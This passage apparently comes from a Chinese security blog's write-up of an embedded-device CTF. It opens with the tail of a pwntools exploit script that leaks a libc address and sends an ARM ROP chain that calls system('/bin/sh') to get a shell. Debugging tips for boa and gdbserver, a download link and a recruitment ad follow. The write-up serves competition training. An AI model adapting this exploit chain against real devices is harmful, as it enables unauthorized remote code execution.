p.recvuntil('Press any key continue')
p.sendline('')
# launch_gdb()
p.recvuntil('username:')
payload1 = 'a'
p.sendline(payload1)
p.recvuntil('password:')
payload2 = 'aa'
p.sendline(payload2)
p.sendline(payload2)
p.recvuntil('continue')
p.sendline('')
p.sendline('2')
p.recvuntil('is:')
change('a'*40) # 0x32248h
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('a'*40)
leak_lib = u32(p.recv(4)) - 0x32248
log.info('leak libc ' + hex(leak_lib))
binsh = leak_lib + 0x127F44
sys_addr = 0x03A028 + leak_lib
change('a'*40) # 0x32248h
change('a'*64 + p32(0x10E70))
p.recvuntil('choice')
p.sendline('4')
p.recvuntil('username:')
payload1 = 'a' * 0x1c + p32(0x00010784) + p32(binsh) + p32(leak_lib+0x00A1A5C) + p32(sys_addr) * 8
p.sendline(payload1)
p.recvuntil('password:')
payload2 = ''
p.sendline(payload2)
p.recvuntil('again:')
p.sendline(payload2)
p.interactive()
'''
.text:00010784 POP {R4,PC}
.text:000A1A5C MOV R0, R4
.text:000A1A60 POP {R4,R5,R7,PC}
'''
在比赛的后半部分的时候,考虑到有些选手存在高版本的 libc 的模拟环境搭建不起来或者存在本地可以打的通远程打不通的情况,开放了两道题目的调试环境,类似于现实场景下拿到待分析设备的调试口。
题目调试环境同样需要到台上下发,去掉了串口登录密码,直接输入 root 回车即可登录;并且板子自带 gdb 和 gdbserver,不需要选手提前准备。
针对于 pwn1 题目的调试有一些小技巧,使用 gdbserver 进行 attach 或者非 attach 的方式进行调试都可以,但是原来运行的 boa 命令是 fork 模式,在实际调试中可能会遇到断电无法断下来的情况。如原来的运行命令为:
/workspace/boa -c /html -f /etc/boa/boa.conf
将其进程 kill ,运行的命令改成:
/workspace/boa -c /html -f /etc/boa/boa.conf -d
即禁用了 boa 的 fork 模式,使用 gdbserver 0.0.0.0:12345 --attach PID
的方式就可以正常对程序进行调试,本地使用 gdb-multiarch 工具的 target remote 20.20.11.14:12345
命令即可。
在调试环境中将 exp 调通之后,拿到原来的题目环境下就可以打通并拿到 shell 和 flag。
关于三道题目的调试环境下载链接:链接: https://pan.baidu.com/s/1GSTiv3KZwCWwgDyCA-Klpw 密码: 76b5
常见嵌入式Web服务器CGI处理功能简要分析
apmibConfigFileDecode
https://github.com/leon0625/blog/blob/fbb0bbcd594974ff3b831b515f771fbe873e9c1f/realtek%20mib%E4%BB%A3%E7%A0%81.md
HatLab知识星球
关于我们
人才招聘
一、物联网安全研究员(硬件安全方向)
工作地点:
1.杭州;
岗位职责:
1.嵌入式方向的安全漏洞挖掘;
2.嵌入式系统硬件软件设计与研发。
任职要求:
1.熟练使用C语言,可规范使用指针,结构体,联合体;
2.熟练使用Linux操作系统,理解Makefile原理并可编写Makefile文件;
3.了解数字电路原理,具有较扎实的计算机系统结构知识,理解操作系统原理;
4.了解WEB或PWN方向的漏洞挖掘过程,会使用相关工具如Zap、IDA等,会自行编写漏洞利用工具。
加分项:
1.具有网络安全公司实习经验;
2.具有网络安全赛事经验;
3.有设计电路板原理图和四层PCB布局经验;
4.熟练焊接0402,0201,QFN,BGA等元器件封装;
5.有AVR,ARM,MIPS,Xtensa等内核的MCU/SoC开发经验;
6.向知名平台提交过物联网方向的漏洞报告。
二、物联网安全研究员(固件安全方向)
工作地点:
1.杭州;
岗位职责:
1. 物联网通用协议、组件、操作系统漏洞挖掘与漏洞复现;
2. 物联网设备漏洞挖掘与漏洞复现;
3. 参与创新物联网安全研究项目;
任职要求:
1.具有二进制漏洞挖掘经验,熟悉ARM、MIPS等其他架构的漏洞利用技巧;
2.熟练掌握gdb、IDA等工具的使用;
3.具有一定的硬件基础和动手能力,掌握常见的嵌入式设备固件提取及解包的方法;
4.至少掌握一门编程语言,如C/C++/Perl/Python/PHP/Go/Java等。
加分项:
1.具有知名物联网设备/网络设备漏洞挖掘成果证明;
2.参加CTF比赛并获奖;
3.参与GeekPWN、HackPWN等智能设备破解大赛并取得成绩。
三、物联网安全研究员(无线电安全方向)
工作地点:
1.杭州;
岗位职责:
1. 无线通信协议的通用漏洞挖掘;
2. 无线通信应用系统的漏洞挖掘,如智能设备等。
任职要求:
1. 掌握无线通信基本原理及数字信号处理理论,熟悉各种调制解调算法,信道编码算法等;
2. 熟悉C/C++、MatLab、Python等编程语言;
3. 熟悉至少一种常见无线通信协议及其安全问题,如Wi-Fi、Bluetooth、Zigbee、4/5G等;
4. 熟练掌握SDR外设和GNURadio等工具的使用。
加分项:
1. 具有信息安全公司实习经验;
2. 有嵌入式固件逆向分析经验;
3. 参加CTF比赛并获奖;
4. 有智能设备的破解经验;
5. 通信工程、信息安全专业。
感兴趣的小伙伴请联系姜女士,或将简历投送至下方邮箱。(请注明来源“研究院公众号”)
联系人:姜女士
邮箱:[email protected]
手机;15167179002,微信同号